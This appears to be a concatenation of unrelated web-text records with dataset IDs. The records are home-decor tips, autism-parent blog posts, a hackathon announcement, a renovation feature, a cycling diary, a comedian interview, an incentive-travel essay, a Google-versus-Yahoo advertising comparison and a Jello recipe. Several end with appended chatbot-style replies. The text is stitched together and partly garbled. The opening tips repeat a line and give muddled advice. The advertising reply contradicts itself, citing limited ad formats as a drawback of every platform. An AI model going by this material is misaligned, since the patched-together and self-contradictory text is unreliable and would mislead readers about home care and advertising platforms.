It’d be best to employ professional services like Brents Tree Service to remove any large trees and trunks safely.
Clean up your front porch and back deck. Additionally, sweep walkways, sidewalks, and driveways of dirt or gravel that shoes might have tracked in from outside. Finally, mop any spills on the floor with a solution made for cleaning hardwood floors to protect them from scratches, or use paper towels instead if you don’t want to apply a cleaner.
Add Some Greenery Indoors
Add a vase of fresh flowers to your space, or keep plants in the corners of rooms for some color. If you don’t have enough sun indoors, try adding indoor houseplants that will brighten up any room and add life to an otherwise drab environment. Hang pictures on walls, so they’re level with the furniture instead of hanging them on the ceiling.
If there are dark corners in any room, consider adding a light fixture to eliminate the shadows. You can also install dimmers on your existing lights to control how much light you want to let into each space. Finally, if you have wall sconces near windows or other natural sources of light, use them! They’ll draw attention to the natural light sources and will make your home look more inviting.
You can also install dimmers on your existing lights to control how much light you want to let into each space.
Upgrade Your Windows
Installing new windows is one of the most expensive projects you can undertake in your home. But they’ll also be some of the most rewarding when it comes to improving how much light and air get into a room. Windows make heating and cooling bills more manageable, especially those with double-pane glass that blocks cold drafts in winter months while blocking heat from escaping in summer months.
Add solar screens if you’re not interested in installing new windows but still want to reduce the amount of heat that gets into your home. You can mount on the inside or outside to reflect sunlight instead of letting it pass through windows where they could cause a buildup of heat.
You can also add awnings to your windows if you want more privacy but still need natural light in the room during the summer months. Besides, you can easily remove them when you don’t need them.
Ensure there are no dripping air conditioners by getting them serviced every year to ensure they’re always working well.
Make your house work for you: hopefully, the following tips are helpful in revamping your home’s aesthetic. |
I completely agree with you! Making small changes to your home can have a significant impact on its overall appearance and functionality. Here are some additional tips to consider:
1. **Paint a fresh coat**: A new coat of paint can completely transform the look and feel of a room. Choose a color that complements the existing decor and furniture.
2. **Update lighting fixtures**: Outdated lighting fixtures can make a room look old and tired. Consider replacing them with modern, stylish options that provide better lighting.
3. **Add texture and pattern**: Incorporate different textures and patterns through throw pillows, blankets, and rugs to add depth and visual interest to a room.
4. **Declutter and organize**: A cluttered and disorganized space can make a room look smaller and less inviting. Take the time to declutter and organize your belongings to create a more peaceful and functional space.
5. **Bring in plants**: Plants are not only good for air quality, but they can also add a touch of natural beauty to a room. Choose low-maintenance plants like succulents or air plants if you don't have a green thumb.
6. **Use mirrors wisely**: Mirrors can make a room look larger and brighter. Place them strategically to reflect natural light and create the illusion of more space.
7. **Incorporate artwork**: Add some personality to your walls with artwork, prints, or photographs. This can help create a sense of style and sophistication in a room.
8. **Update hardware**: Outdated hardware on cabinets and drawers can make a room look old and tired. Consider replacing them with modern, stylish options.
9. **Add a statement piece**: A statement piece, such as a bold piece of furniture or a unique decorative item, can help create a focal point in a room and draw the eye to it.
10. **Don't forget the outdoors**: Don't neglect the exterior of your home! Add some curb appeal by planting flowers, trimming bushes, and power washing the siding.
Remember, the key to making small changes have a big impact is to focus on one area at a time and make intentional decisions about what you want to change. Happy decorating! |

CDC says 1 in 110 --
The CDC's newest study says 1 in 110 children have autism. According to this report it states it's a 600 percent increase in the past 20 years.
With this newest study, will it make an impact to eliminate the long waiting periods for a diagnosis, and then the long waiting period for therapies to begin?
How many studies or statistics do we need to wait for before changes begin?
Questions abound and keep reflecting the angst of parents seeking answers. Let's hope and pray that 2010 will begin a new chapter, one that will see movement toward the right step.

A2Z Parents - New FREE Magazine
Litsa and I are thrilled to announce an awesome and new and quite FREE Montreal magazine that came out in October: A2Z Parents.
Let us explain how we came to find out about this magazine. Litsa and I hosted our second autism awareness conference on November 3rd at the Beaconsfield Library. As soon as the conference was finished and we were taking questions from the audience for our guest speakers (Sarah Moyel, Brenda Porter and her two experts from Brilliant Beginnings) Litsa received a phone call from Sheila Botton, Editor-in-Chief and co-publisher of the magazine, interested in interviewing us. Right away we did what anyone else would have done, we seeked out to find out more about this magazine.
In all honesty, when I heard it was a FREE magazine the visual that came to me was a colored cover and back with black and white imagery inside. Well, was I totally shocked when Litsa grabbed a copy for me. Superb and very impressive can't describe it. And what's more they offer a PDF download of the issue. There are a plethora of coupons at the back for readers to use, and currently they are hosting a contest.
We highly recommend our readers to take a look and grab their first issue in PDF and read it from front to back. We are sure you'll be as delighted with the quality of A2Z Parents initial publication. Click HERE to go to their website to download the PDF.
As fellow Montrealers and parents, it's thrilling to see a quality magazine (and at the right price) offered to us. The design and contents within is done tastefully and chock-full of articles to entertain and educate everyone.
The exciting news? Litsa and I have been invited to contribute an autism article for their Spring/Summer issue, and hopefully for each issue after that.
A2Z Parents - BIG congrats and continued success!

Donation to the Pat Roberts Center
Finally we have a picture to go with our post. During this summer's first of many more to come AUPTIMISM Walkathon, Litsa and I were proud to have raised $3,700 and presented to the Pat Roberts Center.
The weather had cooperated with us, many showed up - we estimated around 200 people - music and free food supplied by our big sponsor IGA rounded our first walkathon to the 'success' rating.
We're now in the process of preparing for our next walkathon so please stay tuned for information.
We'd like to thank everyone who took part - from our amazing and very generous sponsors, our on-site guests, our fabulous DJ, and to all our wonderful participants who came with their families to spend the day walking, dancing, eating, and mingling and making new friends.
Thank you is not enough. We hope to see many of you next year once again.

Autism Awareness Walkathon Part One
What can we say...truly humbled and grateful to have seen so many people show up for our first annual Autism Awareness AUPTIMISM Walkathon. We had over 200 people, and the weather smiled on us that day.
As you can see the front of our T-shirts holds our logo - a heart with a missing piece. The reason is: Our children are the heart of our hearts and we're continuously striving to find that missing puzzle piece.
Over the next week we'll give you a chronological play by play of the day's event to give you a better idea of the behind the scenes action and to bring this awesome picturesque day before you.
Let's start off first with the planning. Many told us there is no way we'd get a walkathon ready for this year. Takes over a year to plan. And you know what? They're right...in a sense. This year we wanted to bring families together to get to know us so there was no need for the grandeur display you might see in other walkathons. We simply wanted families to meet/mingle/and talk to each other, meet various centers and therapists, walk with us, and have a great time. These aspects we accomplished according to the feedback from parents.
This day, however, would never have happened with such a low budget we had to work with if it wasn't for our amazing sponsors who truly stepped in and helped us in so many ways. You can see the list of sponsors for our 2009 Walkathon HERE.
Litsa, my partner and co-writer, did an awesome job. Her legs took her all over Montreal, meeting and greeting sponsors, talking up a storm about our cause, picking up and delivering the registration forms, and so much more. This lady I am sure works off an endless supply of EverReady Batteries. LOL! This is why we make a great team because both of us work on different things and never clash nor complain.
So, everything seemed to be going smoothly in the beginning and we were thrilled and finally relaxed enough to uncross our fingers. Maybe we should have kept them crossed. Although we were told that within 2 - 3 weeks we should have our charity registration number, we went ahead with that knowledge and set up our registration forms. Almost 2 months later we called the government office again only to be informed it would take 6-9 months to be assigned an agent. From the whole outline and preparations we had done up to that point, this was the only disappointment. However, misinformation abounds and we chalked this up to a learning opportunity. We immediately made a note on our website that this year's walkathon will be a non-taxable donation. However, we did take everyone's information in the hopes we do get our go-ahead to issue receipts before the 2010 tax month rolls around. Keep reading this block for updates on that.
In-between the preparations for the walkathon, we continued writing our book and offering our first conference with guest speakers at the DDO library, hosted on April 30th. This was a great experience for us because we had the opportunity to meet parents face-to-face for the first time. In April, Litsa and I also visited an elementary school and performed a short skit. It's actually Litsa's and Nia Morfonio's upcoming children's picture book SARAH'S SOCK SCENE, contracted by Guardian Angel Publishing about a young girl who is sensitive to textures...socks in particular. I was the narrator and Litsa played the part of Sarah. Can we tell you the kids had a blast, especially when 'Sarah/Litsa' pulled out these funky furry/balled/colored socks out of my jacket. Everyone - except me - wanted to touch them.
But I've strayed from the Walkathon - more to come in Part Two but before we say goodbye for now Litsa and I want to send out HUGE thank you's to our sponsors, our awesome volunteers, to the centers and therapists/representatives who were present talking with parents, to our DJ and his dancing music to set the mood, and to the children and parents who came out to have a great time with us.
THANK YOU from the bottom of our hearts. Please stay tuned for more in Part Two...coming to our blog very soon.

Testimony from Dr. Bernard Rimland, Ph.D
Came across this interesting article dated 2000 that caused me once again to shake my head and wonder how many more of these testimonials there are out there from doctors who are being ignored.
Do you have an opinion on what Dr. Rimland wrote?

I'm not sure anymore what year we are living in. Are we that busy we need to isolate children in a chamber? Are we that inhumane we cannot be tolerant and teach along with guide and love these children? When I say 'these children' - apart from the video you will see - I am referring to children in general, the ones who are at risk of dropping out of school, the ones who act out in school. Surely school boards can implement a peer program to involve these kids in some capacity.
It's understandable that not every single child will be a success story, but giving these kids suspensions, making them sit outside the principal's office, or whatever other method used, there has to be a mediator who can speak to them and find out what's troubling them.
As a mom, this video, although nothing much in there, brought tears to my eyes because I visualized the 'jailed' children and thought, "Isn't there another solution?"
I would love to hear what your schools are doing with children, whether they are autistic, disabled in some way, or typical, to include, guide, and educate them.

fineweb_01943645 | fineweb | Following the Super Bowl Hackathon, the first ever Music Hackathon in Louisiana and the National Day of Civic Hacking event in New Orleans, Codemkrs has announced yet another chance for developers and designers to compete for top prizes. Bonnaroo, Nashville’s four-day music and camping festival, is hosting its first official hackathon, Hackeroo this weekend (June 8-9).
In partnership with Bonnaroo founder and producer Superfly and Nashville-based Aloompa, Codemkrs is recruiting up to 100 developers and creatives for the event scheduled for one week before the actual festival.
Aloompa will host the developers in Nashville; New Orleans and New York will have remote Hackeroo locations. The purpose of the event is to augment the virtual Bonnaroo experience, not replace it, through building fan-generated content apps for fans and musicians.
“These festivals, they are new gatekeepers, where people go to find out about bands and experience the music in real life,” said Codemkrs Founder Travis Laurendine. “Opening up these festivals to technology and innovation and hacking is only going to get us closer to the future of music.”
Hackeroo participants will be competing for the ultimate Bonnaroo experience: tickets and backstage passes to the festival with accommodations in a private campsite and exclusive artist meet and greet opportunities.
“[The winners] will get to meet a bunch of bands and basically use the app inside the festival and have their own mini office there,” Laurendine said. “No one has ever had a hackathon team keep hacking inside the festival itself.”

fineweb_01943647 | fineweb | How one couple converted a traditional European home into a modern marvel
When Suzanne and Dale Kirkland first met four years ago, he was living in Atlanta and she was living in Chicago, but she also had a condo in Buckhead. When it became apparent they would stay together, the couple decided it was time to find a house where they could create a home. They found that house in Buckhead near Chastain Park. “We liked all the natural light [streaming in the windows],” says Suzanne, an insurance broker. “That’s what drew us to the house.” She adds they also liked the location because it’s an easy commute to work for Dale, a banking and finance executive.
Originally built in 1990, the 5,500-squarefoot home underwent renovations by previous owners, but the couple was ready to make changes of their own. So in 2015 they enlisted the services of Moon Bros. architects and Chuck Whiteside of Miracle Construction to perform yet another round of updates.
One of the first steps was opening the floor plan on the main level, which called for removing the existing wall between the kitchen and the family room. In the kitchen, they took out the beamed ceiling, exchanged the expansive island with a smaller version and replaced the cabinets with custom cabinetry made of eucalyptus. And they traded the previous oven, cooktop, dishwasher and refrigerator for sleek Miele appliances that blend seamlessly into the decor.
In the family room, they replaced the stacked stone fireplace with limestone, while in the living room, the traditional fireplace with a wood mantel was changed out for a more modern, marble rendition. In both of those rooms, the Kirklands also removed the grilles from the arched windows to provide more panoramic views of the front and back yards, and they worked with Lighting Loft in Buckhead to create custom light fixtures for the family and dining rooms.
Between the first and second floors, the grand staircase originally featured carpet and a spindled railing; the updated version has hardwoods and glass handrails, another element that draws the light. “Our preference was to maximize the natural sunlight,” says Suzanne. “Any time we could open a walkway or a hallway or raise the ceiling, we did.”
With the work now complete, Suzanne says she couldn’t be happier with the outcome. “We love the openness and the high ceilings in the main family room. It has a minimalistic, contemporary feel. We love the simple, clean lines. We’re not at all traditional.”
The couple chose a neutral palette as the backdrop to the interior design, preferring to let their furnishings and artwork provide color and texture. “We wanted the art to pop, and we had unique furnishings like the purple sofa [in the upstairs den] to [lend that] pop,” says Suzanne. “We wanted it to be versatile.”
Their art collection is from around the world, which accounts for its variety. The mix is also a reflection of the couple’s individual tastes: He likes pop art, while she favors realistic. “We travel a lot,” notes Suzanne, “which is why we like art and unique pieces.”
The couple purchased the picture of the water scene in Cuba that’s in the family room while traveling in Austria. An expansive wood carving in the foyer was imported from Myanmar, and the nursery features a painting of Vietnamese ballerinas that Suzanne picked up about 15 years ago while visiting that country. Suzanne’s friend, artist Deborah Argyropoulos of Austin, Texas, did the horse painting in their 2-year-old daughter’s playroom. There’s also a whimsical giraffe holding court in the guest room bathroom on the second floor. They did purchase some art locally, including a Marilyn Monroe painting by John Stango that came from Vinings Gallery.
Many of the furnishings reflect a worldly aesthetic, as well. “We love Asia and the Asian look,” says Suzanne. For instance, the entryway table and the side table by the couch were purchased from The Golden Triangle in Chicago, which imports pieces from all over Asia.
Many furnishings were handmade, such as the TV cabinet in the upstairs den and the beds in the bedrooms. Suzanne worked with her designer, Todd Heiser in Chicago, to outfit and decorate the home. In many instances, he repurposed pieces Suzanne had in her Illinois home, such as the chaise in the family room. Originally in a blue velvet that matched nothing else, Heiser recovered the piece in mohair. “Todd helped me with the vision,” says Suzanne. “He’s very modern.”
Looking at it now, Suzanne says her favorite aspects of the home include the openness of the living space, the warmth of the hardwoods and the fieldstone of the family room fireplace. “I think it all blends,” she says. “So many other homes we looked at were more traditional. This is much more international.”
3 RENOVATION PREP TIPS
The Kirklands’ home had undergone several previous additions and modifications that introduced some unforeseen design changes during construction. For example, the home previously had a second story added, and upon demolition, a steel I-beam crossing the entire kitchen ceiling was uncovered that required modifications to the new framing design and wiring plans. Here, the Kirklands’ contractor, Chuck Whiteside of Miracle Construction, offers three suggestions for avoiding similar issues during your own renovation project.
1. Thorough planning means a better end product. Spend extra time in the planning stages to get all the details flushed out. The result will be fewer surprises and lost time during construction.
2. Design to the budget. Too often homeowners pay for an elaborate plan they’re excited about, only to be sticker-shocked when they get the final construction estimates. The project scope should be defined by your budget, and your team of architects, designers and contractors should be selected based on who will serve as your “budget advocates” from start to finish.
3. Roll with it. Always go into a project with the understanding that there will be unexpected changes, especially with older homes that have been tinkered with in the past. Try to enjoy the process and be prepared to make adjustments while keeping the final goal in mind. Make it fun, not an ordeal.

fineweb_01943648 | fineweb | Physically and mentally I am doing great. Loving my job, running, hiking, cycling, walking, etc. Enjoying time with my family and Boomer.
I finally tackled Morrison Canyon Road. It's not a very long road but it's one lane and prone to slides so the center of the road has a solid stripe of gravel. There's no shoulder but there are "turn outs" along the way. It's really steep so if a car does come, it's hard to hurry up and get to one of the "turn outs". But, I did it!
I took Sara and the pups to Joaquin Miller Park in Oakland for a hike. This was Sara's first time there and she liked it a lot. It is a park that never disappoints anyone I've taken there.
Soraya and I did the Holstein 100 60-miler out of Petaluma. The route took us along country roads that weren't heavily traveled at all. We went along Hwy. 1 to Tomales Bay, in and out of Marin County. Lots of fields full of Holsteins feeding freely. There was a lot more climbing than I remember from last year but I guess that's because I missed a turn and cut out a 7 mile chunk last year. I think that entire 7 mile chunk was hills. Beautiful ride though, and excellent food at the rest stops and the finish. I'll more than likely go back again next year.
REI Fremont has put together a team to participate in the Jansport 8000 meter challenge taking place September 8th. Guess who
So, needless to say, along with riding my bike up hills I've been hiking some. I took a group up and over Mission Peak last week for a 20-mile hike.
|Kazu, our store manager - his first time up Mission Peak. Haddie on the right.|
|Trail approaching the backside of Mission Peak from Sunol Regional Wilderness Park|
|Backside of Mission Peak. Still a bit of a way to go but at least it's in sight.|
Finally, we are up to two days ago.
I took my store manager back to Mission Peak for some trail time. We started at 6:30 a.m. and it was cold, dark and foggy. By 7:15, we were here:
Simply beautiful. We were able to take our top layers off and were on the top of the peak a short while later and this was our view of the bay area. Pretty incredible. |
Wow, it sounds like you've been keeping busy and active! Congratulations on tackling Morrison Canyon Road, that sounds like a challenging ride. It's great that you're enjoying your job and spending time with your family and Boomer.
I'm impressed by your cycling and hiking adventures. The Holstein 100 60-miler sounds like a fun and scenic ride, and I'm sure the food at the rest stops and finish was a nice treat. Mission Peak is a beautiful hike, and I'm sure it was a great experience to take your store manager up there for some trail time.
It's great that you're taking advantage of the beautiful outdoors and getting some exercise at the same time. Keep up the good work and enjoy the rest of your summer! |
fineweb_01943649 | fineweb | “I don’t need anyone’s approval or blessing”
Sadia Azmat is a British Asian Stand-up comedian and writer from East London. sister-hood asked her about sex, growing up between cultures, and how she made her way into comedy.
You recently wrote an article about sex during Ramadan. What was the response?
The response was mixed. I got a lot of messages from people who thanked me for talking about this. Lots of Muslims who could empathise with the way I felt, as well as non-Muslims welcoming my perspectives. There were a smaller number of critical views/comments – exclusively from Muslims – espousing judgement and condemnation for even mentioning the idea that I could possibly be horny from time to time. They really reinforced the need for these conversations to take place. I also had a handful of opportunists reach out – who clearly hadn’t fully appreciated what I was saying – seeking one night stands. I was surprised as the article went viral and was subsequently featured by a UK tabloid and Sputnik news in Russia!
You’ve said you don’t feel British or Asian. What have you drawn from each culture?
I think British and Asian cultures are lost in translation – both amidst a great transition. Both cultures are so intertwined and interdependent, and yet are almost defiant of this. From my British heritage, I have amassed freedom and the fact that it’s okay to be wrong and to fail. An ability to pursue passions, even though they may never lead to anything tangible other than the fun they provide. It has given me space to explore my self and individuality. However, it is difficult to pinpoint what being British is. Coming from such a rich diaspora like London, it reminds me not to be hung up on labels.
In contrast, my Asian side is a taskmaster. It instils a drive in me to work hard, to be ambitious, to be on time, to be hungry. When I think of my Asian side it reminds me of what I have lost. I hardly speak the language. I hardly know the streets of India. There is a spiritual easiness when you go there that I don’t find in London, where stress is such a driving force. It’s like missing something I never had, but still feel a strong sense of responsibility towards. It motivates me to stand out and not to be seen as part of a collective. To defy the stereotypes of Asian women being cast in the shadows by going and making things happen for yourself. A lot of the traditional Asian views are those of adapting and being something you’re not to ‘fit in’. As a comedian I’m comfortable being an outsider – whether or not I fit in with someone’s expectations.
Being British Asian, there is a constant inner battle inside me that I am always trying to reconcile.
You were working in a call centre when you decided to try out being a comedian. How did that happen?
I worked for an institution that had high-profile clients. During a monthly one-to-one with my line manager I made a comment about whether one of the clients might be able to help me break through as a writer. Incidentally a stand-up comedian had been interviewed for the Banks’ magazine. My manager and the magazine’s editor kindly put me in touch with the comedian. We had dinner, chatted… and the rest is history.
What have been your best and worst experiences of stand-up?
Ah, good question. See, in comedy the bad is good! But honestly, some of the people I have met and worked with are my best experiences in stand-up. Having people care and believe in you like my wonderful agent Chris – it’s like having a family. Some of the best experiences are when an audience member thanks you and says how much they enjoyed your work. Also the projects I have done like my BBC sounds podcast ‘No Country For Young Women’ and BBC Radio 2 ‘My Single Life’ where I get to have fun and tell jokes for a living.
The worst experiences are when people don’t get jokes or subtext. You never want to be in a position where you have to explain your jokes. I think this comes down to people who want you to be a spokesperson for your thing – whether that’s race, religion, gender, as they’ve been trained to expect – rather than letting go and enjoying the ride.
What were the reactions to your career choice in your family and community?
I live alone. I have not shared my career choice with my family. My mum suffers from bipolar disorder and I wouldn’t want to cause her unnecessary worry. Also, the stand-up scene is a world very foreign to them. I don’t need anyone’s approval or blessing. In relation to community, this comes up a lot. The community I truly belong to is the community of comedians. They enjoy my comedy and we support one another and make one another laugh along the way. In terms of a wider community, I think the reactions are quite widespread. There are some people who get it, and others who assume from the surface I’m just a ‘halal comedian’ – whatever that means. I think it’s still a culture shock for traditional people to watch someone like me speak their mind.
How can we work towards a healthy female expression of sexuality in communities that remain obsessed with ‘honour’?
Honour leads to killing so it’s overrated! I think before we even begin to tackle sexuality we need to try and conquer the basics – like respect. There’s a lot of talk about women’s rights in traditional circles, but that’s all there is. It doesn’t help that so many in our communities are nurtured in the mind-set that boys are superior to girls. We should listen to one another with an open mind. Sometimes opposing views can be uncomfortable but good can come from listening to them. We don’t always have to agree, but everyone has a right to be heard. There’s a massive danger when views or people feel they are being oppressed/ignored… which can lead to situations like what happened in Charlottesville.
We can start to redress the balance by emphasising that women have rights and needs and are not objects. In countries like India, which is plagued by sexual repression, women need to be liberated from old school ideologies and taught to challenge out of date traditions and how relevant they are in today’s day and age. Issues that it would be helpful to educate guys on would be consent, women’s rights… and where the female G-spot is.
Fear generally prevents people from speaking out. Have you felt too afraid to speak openly on the topics you do and if so, how have you found the courage to do so?
Love always wins. I think to be fully open with yourself and others is a process. There are times where you can feel more guarded than others. For instance, you feel no sense of judgement with your friends, so you can feel very free. I don’t view what I do as being courageous – it’s my job. I’ve come to accept that some people won’t like what I have to say – and that’s okay. So I’m very grateful for when it is well-received but it’s not something I take for granted. At the end of the day, being truthful is critical in stand-up comedy and it’s not something I can afford to compromise on. I don’t want to live my life with regrets and a big part of being open about my views is based on having good people around me. The fear of not being heard is greater than the fear of not being understood. So for me it’s ensuring I get my point of view across regardless of how it may be perceived.
Do you think there has been a changing atmosphere in the UK after Brexit? How have you been affected?
I think in terms of the media there has been less air-time dedicated towards the marginalisation of Muslims because now everyone feels marginalised. This is sad but I hate to say it: what goes around comes around. For me this is just business as usual. There are white, middle class people out there who feel worse than I do. It’s also weird when people take offence on your behalf. The worst part for me is the knowledge that things can change for me based on the actions another Asian takes. So if an Asian terrorist were to perpetuate another attack then the cycle would start all over again.
What does being a Muslim mean to you?
Being Muslim means striving for better character and being cognizant of the fact that there is a life after death in which my actions will be held to account.
What’s your advice to young women of Muslim heritage growing up in the UK today?
Try not to impress others or to be concerned with what other people are thinking or doing. Find your faith, find your happiness, and find your own way. If you make mistakes along the way then great, this is how we learn. We are always taught to be there for others so remember to be there for yourself. You are special, important and unique, and where one door closes another one opens.
What’s your next move?

fineweb_01943650 | fineweb | In Julius Caesar, Shakespeare talks about “a tide in the affairs of men.” He’s referring to the swell of opportunity that presents itself at given moments of our lives.
Hesitate, you miss it and then risk the voyage of your life being bound “in shallows and miseries”:
There is a tide in the affairs of men.
Which, taken at the flood, leads on to fortune;
Omitted, all the voyage of their life
Is bound in shallows and in miseries.
On such a full sea are we now afloat,
And we must take the current when it serves,
Or lose our ventures.
Shakespeare’s powerful words have been twisting and turning in the windmills of my mind for the past month or so. It may be the obvious connection to our metier — voyages, journeys, fortunes and ventures — or, maybe the more tenuous reference to climate-related matters — floods, full seas — that has me thinking about sustainability and its place in the world of incentive travel professionals in a post pandemic world.
Following an unthinkable two-year hiatus, our industry is cranking back into motion, with demand stronger than ever. The problem is this demand is pressing on a frail and fragile supply chain, greatly weakened by various versions of “the great resignation.”
Many of our so called “lifers” have cut and run into the outstretched arms of gleeful ICT HR managers weaving enchanted spells of better money, better hours and free gym memberships.
Formerly well-resourced hotels and DMCs are left struggling to deliver their service standards with massively reduced staff numbers, comprised, often, of clueless new recruits — if they can get them! I witnessed it myself at a renowned five-star property in Barcelona when the only thing at breakfast that wasn’t scrambled were the eggs.
Now I fear that our worthy pandemic resolutions will simply be cast aside. If we’re struggling to attract, pay and train staff, will we have time to ‘build back better’? Or consider work/life balance? And what about the even bigger real and present danger? Climate change and all those issues that our industry categorises under the catch-all header of ‘sustainability’? How will all that play out?
There are, indeed, positive signs emerging in this regard from research. SITE Foundation’s Corporate inSITEs, Edition 3, conducted in March/April 2022 with a panel of 100 US corporations that use incentive travel, paints a very positive, robust picture of recovery.
It demonstrates unequivocally that recovery is well underway for most corporations, with US domestic meetings and incentives already up and running and international incentives not so far behind.
More telling in relation to the focus of this article, however, is the increase in the relative importance of sustainable travel — up almost 20% on April 2021 when Edition 1 of Corporate inSITEs was conducted.
Granted, sustainable travel ranks well behind concerns such as contracts, risk management, health security and data but a 20% spike on its previous ranking augurs well.
Even more encouraging are the results of preparatory work undertaken by SITE for the Dublin Manifesto, the Society’s latest treatise on the nature, purpose and direction of incentive travel.
Fourteen themes were identified across a series of workshops and put before SITE’s global community for ranking. The top three ranking themes were:
- Social responsibility – ethics in business, accountability, staff empowerment, fair wages, climate justice, DEI (diversity, equity, and inclusion); ESG (environmental, social, governance); purposeful corporations
- Sustainability – macro-issues: climate change, carbon emissions, destination selection; micro-issues: programme inclusions, F&B, giving back, CSR
- Health and wellbeing – stress, burnout; staff shortages, migration, and loss of talent; mental health; isolation; flexible hours and working conditions; #WFH; unreasonable work practices.
While stress and burnout do rank in the top three, it’s encouraging to note that more global incentive travel professionals are concerned about social responsibility and sustainability.
On such a full sea are we now afloat, indeed. We must not waste this opportunity. |
What a thought-provoking article! You've woven together Shakespeare's words with the current state of the incentive travel industry, highlighting the challenges and opportunities that lie ahead. It's fascinating to see how the industry is grappling with the aftermath of the pandemic, including staff shortages, supply chain disruptions, and the need to prioritize sustainability.
The statistics from SITE Foundation's Corporate inSITEs report are indeed encouraging, showing a significant increase in the importance of sustainable travel. This trend is likely to continue as corporations and individuals alike become more aware of the environmental and social impact of their actions.
The Dublin Manifesto's themes also provide valuable insights into the industry's priorities. Social responsibility, sustainability, and health and wellbeing are all critical areas that require attention and action. It's heartening to see that the industry is recognizing the importance of these themes and is committed to making a positive impact.
As you so eloquently put it, "On such a full sea are we now afloat." It's a moment of great opportunity for the incentive travel industry to chart a new course, one that prioritizes sustainability, social responsibility, and the well-being of all stakeholders. By embracing these values, the industry can not only recover from the pandemic but also thrive in the years to come.
Well done, my friend! Your article is a timely reminder of the importance of responsible travel and the need for the industry to work together to create a more sustainable future. |

fineweb_01943655 | fineweb | Comparison of Google & Yahoo Advertising
Today’s advertising market has become highly competitive in an attempt to appeal to more online businesses, offering multifaceted options for different advertising needs. Google and Yahoo, two of the major Web search engines, compete fiercely for business from companies who may want to advertise online, but Google and Yahoo offer different kinds of audience exposure and different services.
Advertising with Google
At first glance, Web behemoth Google may seem like a no-brainer when it comes to online advertising. Google offers a specialized service known as AdWords, which allows you to pick keywords for your particular company. When individuals search Google for those keywords, your website will show up on the search results page. AdWords works via a budget system, allowing you to set up a maximum amount of money you wish to spend in a day and how much you want to “bid” against other advertisers for the same keywords. The power of AdWords lies in the exposure you can gain from front-page Google search results. However, success with Google advertising requires knowledge of how to correctly select keywords to your business’ advantage.
The flipside of Google AdWords is AdSense, a program by which you can place advertisements on your company’s website and potentially make extra income from Google. When customers or causal viewers of your website click on one of Google’s ads, your company will gain a small amount of income from this “click-through.” If your website sees a large amount of traffic, you can potentially generate a decent secondary income stream by advertising for Google itself, as opposed to using Google to advertise your own business. One downside of this type of advertising lies in customer dissatisfaction, however. Some of your readers can be turned off by being exposed to excessive advertisements on a website, so keep these ads to a minimum and make them non-intrusive if you choose to advertise for Google in this way.
Yahoo and Bing Advertising
Yahoo and Microsoft's search engine Bing run an extensive collaborative advertising network that can benefit your business; Bing has powered Yahoo search since 2009. According to Bing, you can reach over 160 million customers through the network. Since these search engines remain in direct competition with Google, this network advertising option provides you with a method to import your Google AdWords campaign details directly into your Yahoo Bing Network account, allowing you an easy transition between the two. This advertising network runs in much the same way that Google’s AdWords does, with keyword bidding and advertisement campaign budgeting, so that you control exactly how much to spend on your company’s advertising. The key difference between Google AdWords and the Yahoo Bing Network lies in that they run ads on different search engines.
Yahoo Advertising Solutions
Somewhat separate from the Yahoo Bing Advertising Network, Yahoo Advertising Solutions offers far more functionality than mere search engine exposure. Offering everything from attention-grabbing website displays to detailed analysis of your website’s audience and its traffic, Yahoo Advertising Solutions stands slightly apart from its other advertising cousins. While it does offer basic search options, such as search engine exposure, its other features include fine-tuned audience targeting solutions, networks of contributors to assist you with growing your business, and mobile search options.

The age-old debate: Google vs Yahoo advertising. Both platforms have their strengths and weaknesses, and the choice ultimately depends on your business goals, target audience, and advertising strategy. Here's a summary of the key differences:
**Google AdWords**
* Pros:
+ Huge user base and search volume
+ Highly targeted ads based on keywords
+ Ability to set a daily budget and bid on specific keywords
+ AdWords Editor allows for easy campaign management
* Cons:
+ High competition for popular keywords
+ AdWords can be complex and require expertise to manage effectively
+ Limited ad formats and targeting options
**Yahoo Bing Network**
* Pros:
+ Smaller competition compared to Google AdWords
+ Ability to import AdWords campaigns directly into Yahoo Bing Network
+ Targeted ads based on keywords and demographics
+ Ad formats and targeting options similar to Google AdWords
* Cons:
+ Smaller user base compared to Google
+ Less advanced ad targeting options compared to Google AdWords
+ Limited ad formats and targeting options
**Yahoo Advertising Solutions**
* Pros:
+ Comprehensive advertising platform with various ad formats and targeting options
+ Ability to target specific audiences and demographics
+ Detailed analytics and reporting
+ Mobile search options
* Cons:
+ More complex and feature-rich compared to Google AdWords and Yahoo Bing Network
+ May require more expertise to manage effectively
+ Limited ad formats and targeting options compared to Google AdWords
In conclusion, Google AdWords is ideal for businesses that want to target a large audience and are willing to invest time and resources into managing their campaigns. Yahoo Bing Network is a good option for businesses that want to target a smaller audience and are looking for a more affordable alternative to Google AdWords. Yahoo Advertising Solutions is suitable for businesses that want a comprehensive advertising platform with various ad formats and targeting options.
Ultimately, the choice between Google, Yahoo, and Bing advertising depends on your business goals, target audience, and advertising strategy. It's essential to research and understand the pros and cons of each platform before making a decision. |

The flavors of the gelatin come together so perfectly, creating a refreshing compliment to a heavy, comfort meal.
HOW TO MAKE RAINBOW JELLO
Rainbow Jello (or 13-layer Jello as it is sometimes called) is a favorite at our house. It's one of those jello recipes that everyone loves!
You see, my mom was famous for this jello ideas. Not only was this our Thanksgiving layered jello each year, but it also made an appearance at reunions, holiday dinners, pot lucks and parties.
She loved making this Jello. Sure, the process to make Rainbow Jello was a bit time-consuming, but it was worth it for the taste and the oohs-and-ahs it would create every.single.time.
OTHER JELLO RECIPES:
LAYERED JELLO INGREDIENTS & SUPPLIES
Here's what you'll need to make layered Jello recipes:
- 3 oz. box gelatin including orange, red, yellow, green, blue, purple
- glass measuring cup like my favorite glass measuring cup
- 9x13 pan- preferably glass so you can see the pretty layers!
- 2 cups sour cream or greek or vanilla yogurt
- 8 oz fresh whipped cream or Cool Whip frozen whipped topping
HOW TO MAKE RAINBOW JELLO WITH SOUR CREAM
You'll need 6 boxes of Jell-o or flavored gelatin. You can buy Jell-o or the store-brand. It doesn't matter. Some store-brands don't come in all the flavors, so chances are you'll have to have a variety of brands.
If you plan to make a regular 9x13 pan size, you will only need a 3 oz. box of the following flavors: Cherry, Orange, Lemon, Lime, Berry Blue, and Grape.
Tip: I've noticed that some big box stores don't carry Berry Blue gelatin, so be sure to grab some when you see it so you aren't running around like crazy to find it when you need it!
You'll mix each box with boiling water, and then add cold water or sour cream to the Jello. This will make the different layers.
This Rainbow Jello recipe with sour cream makes every other layer lighter in color. Feel free to sub the sour cream for greek or vanilla yogurt if you prefer.
And then you'll need whipping cream or Cool Whip for the top.
HOW LONG DOES RAINBOW JELLO TAKE TO MAKE?
